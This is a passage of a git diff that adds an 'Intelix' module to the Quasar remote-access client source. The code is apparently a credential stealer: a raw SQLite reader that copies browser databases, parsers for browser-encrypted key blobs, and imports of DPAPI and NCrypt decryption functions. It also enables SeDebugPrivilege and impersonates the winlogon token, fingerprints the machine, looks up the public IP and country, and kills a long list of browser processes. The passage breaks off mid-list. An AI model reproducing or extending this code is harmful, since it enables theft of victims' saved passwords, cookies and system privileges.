_tableEntries[num5 + (int)num6].Content[i] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + case 2L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + } + } + } + else + { + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + } + } + else + { + _tableEntries[num5 + (int)num6].Content[i] = Convert.ToString(ConvertToULong((int)((long)num10 + num13 + num17), (int)array[i].Size)); + } + num17 += (int)array[i].Size; + } + } + break; + } + case 5: + { + uint num = (uint)(ConvertToULong((int)(offset + 3), 2) - 1); + for (uint num2 = 0u; (int)num2 <= (int)num; num2++) + { + uint num3 = (uint)ConvertToULong((int)offset + 12 + (int)(num2 * 2), 2); + ReadTableFromOffset((ConvertToULong((int)(offset + num3), 4) - 1) * _pageSize); + } + ReadTableFromOffset((ConvertToULong((int)(offset + 8), 4) - 1) * _pageSize); + break; + } + } + return true; + } + catch + { + return false; + } + } + + private void ReadMasterTable(long offset) + { + while (true) + { + switch (_fileBytes[offset]) + { + default: + return; + case 5: + { + uint num13 = (uint)(ConvertToULong((int)offset + 3, 2) - 1); + for (int j = 0; j <= (int)num13; j++) + { + uint num14 = (uint)ConvertToULong((int)offset + 12 + j * 2, 2); + if (offset == 100) + { + ReadMasterTable((long)((ConvertToULong((int)num14, 4) - 1) * _pageSize)); + } + else + { + ReadMasterTable((long)((ConvertToULong((int)(offset + num14), 4) - 1) * _pageSize)); + } + } + break; + } + case 13: + { + ulong num = ConvertToULong((int)offset + 3, 2) - 1; + int num2 = 0; + if (_masterTableEntries != null) + { + num2 = _masterTableEntries.Length; + Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num + 1); + } + else + { + checked + { + _masterTableEntries = new SqliteMasterEntry[(ulong)unchecked((long)(num + 1))]; + } + } + for (ulong num3 = 0uL; num3 <= num; num3++) + { + ulong num4 = ConvertToULong((int)offset + 8 + (int)num3 * 2, 2); + if (offset != 100) + { + num4 += (ulong)offset; + } + int num5 = Gvl((int)num4); + Cvl((int)num4, num5); + int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1)); + Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6); + ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1); + int num8 = Gvl((int)num7); + int num9 = num8; + long num10 = Cvl((int)num7, num8); + long[] array = new long[5]; + for (int i = 0; i <= 4; i++) + { + int startIdx = num9 + 1; + num9 = Gvl(startIdx); + array[i] = Cvl(startIdx, num9); + array[i] = ((array[i] <= 9) ? _sqlDataTypeSize[array[i]] : ((!IsOdd(array[i])) ? ((array[i] - 12) / 2) : ((array[i] - 13) / 2))); + } + long dbEncoding; + if (_dbEncoding == 1 || _dbEncoding == 2) + { + dbEncoding = (long)_dbEncoding; + long num11 = dbEncoding - 1; + if ((ulong)num11 <= 2uL) + { + switch (num11) + { + case 0L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + case 1L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + case 2L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + } + } + } + _masterTableEntries[num2 + (int)num3].RootNum = (long)ConvertToULong((int)((long)num7 + num10 + array[0] + array[1] + array[2]), (int)array[3]); + dbEncoding = (long)_dbEncoding; + long num12 = dbEncoding - 1; + if ((ulong)num12 <= 2uL) + { + switch (num12) + { + case 0L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + case 1L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + case 2L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + } + } + } + return; + } + } + offset = (long)((ConvertToULong((int)offset + 8, 4) - 1) * _pageSize); + } + } + + public bool ReadTable(string tableName) + { + int num = -1; + for (int i = 0; i <= _masterTableEntries.Length; i++) + { + if (string.Compare(_masterTableEntries[i].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return false; + } + string[] array = _masterTableEntries[num].SqlStatement.Substring(_masterTableEntries[num].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(','); + for (int j = 0; j <= array.Length - 1; j++) + { + array[j] = array[j].TrimStart(); + int num2 = array[j].IndexOf(' '); + if (num2 > 0) + { + array[j] = array[j].Substring(0, num2); + } + if (array[j].IndexOf("UNIQUE", StringComparison.Ordinal) != 0) + { + Array.Resize(ref _fieldNames, j + 1); + _fieldNames[j] = array[j]; + } + } + return ReadTableFromOffset((ulong)(_masterTableEntries[num].RootNum - 1) * _pageSize); + } + + private ulong ConvertToULong(int startIndex, int size) + { + try + { + if (size > 8 || size == 0) + { + return 0uL; + } + ulong num = 0uL; + for (int i = 0; i <= size - 1; i++) + { + num = (num << 8) | _fileBytes[startIndex + i]; + } + return num; + } + catch + { + return 0uL; + } + } + + private int Gvl(int startIdx) + { + try + { + if (startIdx > _fileBytes.Length) + { + return 0; + } + for (int i = startIdx; i <= startIdx + 8; i++) + { + if (i > _fileBytes.Length - 1) + { + return 0; + } + if ((_fileBytes[i] & 0x80) != 128) + { + return i; + } + } + return startIdx + 8; + } + catch + { + return 0; + } + } + + private long Cvl(int startIdx, int endIdx) + { + try + { + endIdx++; + byte[] array = new byte[8]; + int num = endIdx - startIdx; + bool flag = false; + if (num == 0 || num > 9) + { + return 0L; + } + switch (num) + { + case 1: + array[0] = (byte)(_fileBytes[startIdx] & 0x7F); + return BitConverter.ToInt64(array, 0); + case 9: + flag = true; + break; + } + int num2 = 1; + int num3 = 7; + int num4 = 0; + if (flag) + { + array[0] = _fileBytes[endIdx - 1]; + endIdx--; + num4 = 1; + } + for (int i = endIdx - 1; i >= startIdx; i += -1) + { + if (i - 1 >= startIdx) + { + array[num4] = (byte)(((_fileBytes[i] >> num2 - 1) & (255 >> num2)) | (_fileBytes[i - 1] << num3)); + num2++; + num4++; + num3--; + } + else if (!flag) + { + array[num4] = (byte)((_fileBytes[i] >> num2 - 1) & (255 >> num2)); + } + } + return BitConverter.ToInt64(array, 0); + } + catch + { + return 0L; + } + } + + private static bool IsOdd(long value) + { + return (value & 1) == 1; + } + + public static SqLite ReadTable(string database, string table) + { + try + { + string text = Path.GetTempFileName() + ".tmpdb"; + File.Copy(database, text); + SqLite sqLite = new SqLite(text); + sqLite.ReadTable(table); + File.Delete(text); + return (sqLite.GetRowCount() == 65536) ? null : sqLite; + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs new file mode 100755 index 0000000..1ec5d69 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs @@ -0,0 +1,14 @@ +namespace Intelix.Helper; + +public class BlobParsedData +{ + public byte Flag { get; set; } + + public byte[] Iv { get; set; } + + public byte[] Ciphertext { get; set; } + + public byte[] Tag { get; set; } + + public byte[] EncryptedAesKey { get; set; } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs new file mode 100755 index 0000000..c7fcf3e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs @@ -0,0 +1,59 @@ +using System.Threading; + +namespace Intelix.Helper; + +public struct ConcurrentLong +{ + private long _value; + + public long Value + { + get + { + return Interlocked.Read(ref _value); + } + set + { + Interlocked.Exchange(ref _value, value); + } + } + + public ConcurrentLong(long initial) + { + _value = initial; + } + + public static ConcurrentLong operator ++(ConcurrentLong x) + { + Interlocked.Increment(ref x._value); + return x; + } + + public static ConcurrentLong operator --(ConcurrentLong x) + { + Interlocked.Decrement(ref x._value); + return x; + } + + public static implicit operator long(ConcurrentLong x) + { + return x.Value; + } + + public static implicit operator ConcurrentLong(long v) + { + return new ConcurrentLong(v); + } + + public static ConcurrentLong operator +(ConcurrentLong x, long y) + { + Interlocked.Add(ref x._value, y); + return x; + } + + public static ConcurrentLong operator -(ConcurrentLong x, long y) + { + Interlocked.Add(ref x._value, -y); + return x; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs new file mode 100755 index 0000000..8a734e4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs @@ -0,0 +1,32 @@ +using System; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class CpuInfo +{ + public static string GetName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + return (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static int GetLogicalCores() + { + try + { + return Environment.ProcessorCount; + } + catch + { + return 0; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs new file mode 100755 index 0000000..c14651f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class HwidGenerator +{ + private static string _hwid; + + private static readonly object _lock = new object(); + + public static string GetHwid() + { + if (_hwid != null) + { + return _hwid; + } + lock (_lock) + { + if (_hwid != null) + { + return _hwid; + } + List list = new List(); + string mg = null; + string cpuName = null; + List vols = null; + List macs = null; + Task task = Task.Run(delegate + { + mg = GetMachineGuid(); + }); + Task task2 = Task.Run(delegate + { + cpuName = GetCpuName(); + }); + Task task3 = Task.Run(delegate + { + vols = GetFixedVolumeSerials(); + }); + Task task4 = Task.Run(delegate + { + macs = GetMacAddresses(); + }); + Task.WaitAll(task, task2, task3, task4); + if (!string.IsNullOrEmpty(mg)) + { + list.Add("MG:" + mg); + } + if (!string.IsNullOrEmpty(cpuName)) + { + list.Add("CPU:" + cpuName); + } + list.Add("Cores:" + Environment.ProcessorCount); + if (vols != null && vols.Count > 0) + { + list.Add("VOLS:" + string.Join(",", vols)); + } + if (macs != null && macs.Count > 0) + { + list.Add("MACS:" + string.Join(",", macs)); + } + list.Add("MN:" + Environment.MachineName); + _hwid = ComputeSha256(string.Join("|", list)); + return _hwid; + } + } + + private static string ComputeSha256(string input) + { + using SHA256 sHA = SHA256.Create(); + byte[] array = sHA.ComputeHash(Encoding.UTF8.GetBytes(input)); + StringBuilder stringBuilder = new StringBuilder(array.Length * 2); + byte[] array2 = array; + foreach (byte b in array2) + { + stringBuilder.Append(b.ToString("x2")); + } + return stringBuilder.ToString(); + } + + private static string GetMachineGuid() + { + try + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography")) + { + string text = registryKey?.GetValue("MachineGuid") as string; + if (!string.IsNullOrEmpty(text)) + { + return text.Trim(); + } + } + using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"); + return (registryKey2?.GetValue("MachineGuid") as string)?.Trim() ?? ""; + } + catch + { + return ""; + } + } + + private static string GetCpuName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + string text = registryKey?.GetValue("ProcessorNameString") as string; + if (!string.IsNullOrEmpty(text)) + { + return text.Trim(); + } + return (registryKey?.GetValue("VendorIdentifier") as string)?.Trim() ?? ""; + } + catch + { + return ""; + } + } + + private static List GetFixedVolumeSerials() + { + List list = new List(); + try + { + DriveInfo[] drives = DriveInfo.GetDrives(); + foreach (DriveInfo driveInfo in drives) + { + if (driveInfo.DriveType == DriveType.Fixed && driveInfo.IsReady) + { + StringBuilder stringBuilder = new StringBuilder(261); + StringBuilder stringBuilder2 = new StringBuilder(261); + if (NativeMethods.GetVolumeInformation(driveInfo.RootDirectory.FullName, stringBuilder, stringBuilder.Capacity, out var lpVolumeSerialNumber, out var _, out var _, stringBuilder2, stringBuilder2.Capacity)) + { + list.Add(lpVolumeSerialNumber.ToString("X8").ToLowerInvariant()); + } + } + } + } + catch + { + } + return list; + } + + private static List GetMacAddresses() + { + List list = new List(); + try + { + NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + foreach (NetworkInterface networkInterface in allNetworkInterfaces) + { + if (networkInterface.OperationalStatus != OperationalStatus.Up) + { + continue; + } + byte[] addressBytes = networkInterface.GetPhysicalAddress().GetAddressBytes(); + if (addressBytes.Length == 0) + { + continue; + } + StringBuilder stringBuilder = new StringBuilder(); + for (int j = 0; j < addressBytes.Length; j++) + { + if (j > 0) + { + stringBuilder.Append(':'); + } + stringBuilder.Append(addressBytes[j].ToString("x2")); + } + list.Add(stringBuilder.ToString()); + } + } + catch + { + } + return list; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs new file mode 100755 index 0000000..4550d04 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs @@ -0,0 +1,110 @@ +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; + +namespace Intelix.Helper; + +public static class ImpersonationHelper +{ + private class ImpersonationContext : IDisposable + { + public void Dispose() + { + NativeMethods.RevertToSelf(); + } + } + + private const uint TOKEN_DUPLICATE = 2u; + + private const uint TOKEN_IMPERSONATE = 4u; + + private const uint TOKEN_QUERY = 8u; + + private const uint TOKEN_ADJUST_PRIVILEGES = 32u; + + private const uint SecurityImpersonation = 2u; + + private const uint TokenImpersonation = 2u; + + private const uint SE_PRIVILEGE_ENABLED = 2u; + + public static IDisposable ImpersonateWinlogon() + { + IntPtr TokenHandle = IntPtr.Zero; + IntPtr phNewToken = IntPtr.Zero; + try + { + EnableDebugPrivilege(); + if (!NativeMethods.OpenProcessToken((Process.GetProcessesByName("winlogon").FirstOrDefault() ?? throw new Exception("Процесс winlogon.exe не найден")).Handle, 14u, out TokenHandle)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка OpenProcessToken"); + } + if (!NativeMethods.DuplicateTokenEx(TokenHandle, 12u, IntPtr.Zero, 2u, 2u, out phNewToken)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка DuplicateTokenEx"); + } + if (!NativeMethods.ImpersonateLoggedOnUser(phNewToken)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка ImpersonateLoggedOnUser"); + } + return new ImpersonationContext(); + } + catch + { + if (phNewToken != IntPtr.Zero) + { + NativeMethods.CloseHandle(phNewToken); + } + if (TokenHandle != IntPtr.Zero) + { + NativeMethods.CloseHandle(TokenHandle); + } + NativeMethods.RevertToSelf(); + throw; + } + } + + private static void EnableDebugPrivilege() + { + IntPtr TokenHandle = IntPtr.Zero; + try + { + if (!NativeMethods.OpenProcessToken(NativeMethods.GetCurrentProcess(), 40u, out TokenHandle)) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error, $"Ошибка OpenProcessToken: Код ошибки {lastWin32Error}"); + } + NativeMethods.LUID lpLuid = default(NativeMethods.LUID); + if (!NativeMethods.LookupPrivilegeValue(null, "SeDebugPrivilege", ref lpLuid)) + { + int lastWin32Error2 = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error2, $"Ошибка LookupPrivilegeValue: Код ошибки {lastWin32Error2}"); + } + NativeMethods.TOKEN_PRIVILEGES NewState = new NativeMethods.TOKEN_PRIVILEGES + { + PrivilegeCount = 1u, + Luid = lpLuid, + Attributes = 2u + }; + if (!NativeMethods.AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, (uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero)) + { + int lastWin32Error3 = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error3, $"Ошибка AdjustTokenPrivileges: Код ошибки {lastWin32Error3}"); + } + int lastWin32Error4 = Marshal.GetLastWin32Error(); + if (lastWin32Error4 != 0) + { + throw new Win32Exception(lastWin32Error4, $"AdjustTokenPrivileges вернул успех, но установил код ошибки {lastWin32Error4}"); + } + } + finally + { + if (TokenHandle != IntPtr.Zero) + { + NativeMethods.CloseHandle(TokenHandle); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs new file mode 100755 index 0000000..77cd7ce --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs @@ -0,0 +1,75 @@ +using System.Net; +using System.Text; + +namespace Intelix.Helper; + +public static class IpApi +{ + private static string _cachedIp; + private static string _cachedCountryCode; + + private static readonly object _lock = new object(); + + public static string GetPublicIp() + { + if (!string.IsNullOrEmpty(_cachedIp)) + { + return _cachedIp; + } + lock (_lock) + { + if (!string.IsNullOrEmpty(_cachedIp)) + { + return _cachedIp; + } + try + { + using WebClient webClient = new WebClient(); + string text = webClient.DownloadString("http://icanhazip.com"); + if (!string.IsNullOrEmpty(text)) + { + _cachedIp = text.Trim(); + } + } + catch + { + _cachedIp = "Request failed"; + } + return _cachedIp; + } + } + + public static string GetCountryCode() + { + if (!string.IsNullOrEmpty(_cachedCountryCode)) + { + return _cachedCountryCode; + } + lock (_lock) + { + if (!string.IsNullOrEmpty(_cachedCountryCode)) + { + return _cachedCountryCode; + } + try + { + using WebClient webClient = new WebClient(); + webClient.Encoding = Encoding.UTF8; + string response = webClient.DownloadString("http://ip-api.com/line/?fields=countryCode"); + if (!string.IsNullOrEmpty(response)) + { + _cachedCountryCode = response.Trim(); + } + else + { + _cachedCountryCode = "XX"; + } + } + catch + { + _cachedCountryCode = "XX"; + } + return _cachedCountryCode; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs new file mode 100755 index 0000000..ba00bc6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs @@ -0,0 +1,16 @@ +using System.Threading; + +namespace Intelix.Helper; + +public static class MutexControl +{ + public static Mutex currentApp; + + public static bool createdNew; + + public static bool CreateMutex(string mtx) + { + currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew); + return createdNew; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs new file mode 100755 index 0000000..b378f5e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs @@ -0,0 +1,194 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace Intelix.Helper; + +public static class NativeMethods +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct CryptprotectPromptstruct + { + public int cbSize; + + public int dwPromptFlags; + + public IntPtr hwndApp; + + public string szPrompt; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DataBlob + { + public int cbData; + + public IntPtr pbData; + } + + public struct LUID + { + public uint LowPart; + + public int HighPart; + } + + public struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + + public LUID Luid; + + public uint Attributes; + } + + public struct MEMORYSTATUSEX + { + public uint dwLength; + + public uint dwMemoryLoad; + + public ulong ullTotalPhys; + + public ulong ullAvailPhys; + + public ulong ullTotalPageFile; + + public ulong ullAvailPageFile; + + public ulong ullTotalVirtual; + + public ulong ullAvailVirtual; + + public ulong ullAvailExtendedVirtual; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DISPLAY_DEVICE + { + public int cb; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] + public string DeviceName; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceString; + + public uint StateFlags; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceID; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceKey; + } + + public struct PROCESS_MEMORY_COUNTERS_EX + { + public uint cb; + + public uint PageFaultCount; + + public UIntPtr PeakWorkingSetSize; + + public UIntPtr WorkingSetSize; + + public UIntPtr QuotaPeakPagedPoolUsage; + + public UIntPtr QuotaPagedPoolUsage; + + public UIntPtr QuotaPeakNonPagedPoolUsage; + + public UIntPtr QuotaNonPagedPoolUsage; + + public UIntPtr PagefileUsage; + + public UIntPtr PeakPagefileUsage; + + public UIntPtr PrivateUsage; + } + + [DllImport("psapi.dll", SetLastError = true)] + public static extern bool GetProcessMemoryInfo(IntPtr hProcess, out PROCESS_MEMORY_COUNTERS_EX ppsmemCounters, uint cb); + + [DllImport("psapi.dll", SetLastError = true)] + public static extern bool EnumProcesses([Out] uint[] lpidProcess, uint cb, out uint lpcbNeeded); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetVolumeInformation(string lpRootPathName, StringBuilder lpVolumeNameBuffer, int nVolumeNameSize, out uint lpVolumeSerialNumber, out uint lpMaximumComponentLength, out uint lpFileSystemFlags, StringBuilder lpFileSystemNameBuffer, int nFileSystemNameSize); + + [DllImport("kernel32.dll")] + public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + public static extern bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptOpenStorageProvider(out IntPtr phProvider, string pszProviderName, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptOpenKey(IntPtr hProvider, out IntPtr phKey, string pszKeyName, int dwLegacyKeySpec, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptFreeObject(IntPtr hObject); + + [DllImport("user32.dll")] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern IntPtr GetWindowDC(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("gdi32.dll")] + public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder exeName, ref uint lpdwSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern bool CryptUnprotectData(ref DataBlob pDataIn, ref string ppszDataDescr, ref DataBlob pOptionalEntropy, IntPtr pvReserved, ref CryptprotectPromptstruct pPromptStruct, int dwFlags, ref DataBlob pDataOut); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs new file mode 100755 index 0000000..7d0e9d2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs @@ -0,0 +1,66 @@ +using System; +using System.IO; + +namespace Intelix.Helper; + +public static class ParseKeyBlob +{ + public static BlobParsedData Parse(byte[] blobData) + { + using MemoryStream memoryStream = new MemoryStream(blobData); + using BinaryReader binaryReader = new BinaryReader(memoryStream); + uint count = binaryReader.ReadUInt32(); + binaryReader.ReadBytes((int)count); + uint num = binaryReader.ReadUInt32(); + _ = memoryStream.Position; + byte[] array = null; + byte[] iv = null; + byte[] ciphertext = null; + byte[] tag = null; + if (num == 32) + { + array = binaryReader.ReadBytes(32); + return new BlobParsedData + { + Flag = 32, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = array + }; + } + byte b = binaryReader.ReadByte(); + switch (b) + { + case 1: + case 2: + iv = binaryReader.ReadBytes(12); + ciphertext = binaryReader.ReadBytes(32); + tag = binaryReader.ReadBytes(16); + return new BlobParsedData + { + Flag = b, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = null + }; + case 3: + case 35: + array = binaryReader.ReadBytes(32); + iv = binaryReader.ReadBytes(12); + ciphertext = binaryReader.ReadBytes(32); + tag = binaryReader.ReadBytes(16); + return new BlobParsedData + { + Flag = b, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = array + }; + default: + throw new Exception(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs new file mode 100755 index 0000000..36c0e2d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace Intelix.Helper; + +public static class ProcessKiller +{ + public static string[] Targets = new string[63] + { + "k-meleon.exe", "thunderbird.exe", "icedragon.exe", "cyberfox.exe", "blackhawk.exe", "palemoon.exe", "ghostery.exe", + "sielo.exe", "conkeror.exe", "msedge.exe", "netscape.exe", "seamonkey.exe", "slimbrowser.exe", "msedge_pwa_launcher.exe", "avant.exe", "opera.exe", "operagx.exe", + "msedgewebview2.exe", "msedgewebview.exe", "chromium.exe", "slimjet.exe", "chrome.exe", "browser.exe", "vivaldi.exe", "brave.exe", "edge.exe", "microsoft.exe", + "dragon.exe", "torch.exe", "yandex.exe", "sputnik.exe", "nichrome.exe", "msedge_proxy.exe", "cocbrowser.exe", + "uran.exe", "msedge_proxy.exe", "chromodo.exe", "atom.exe", "bravebrowser.exe", "steam.exe", 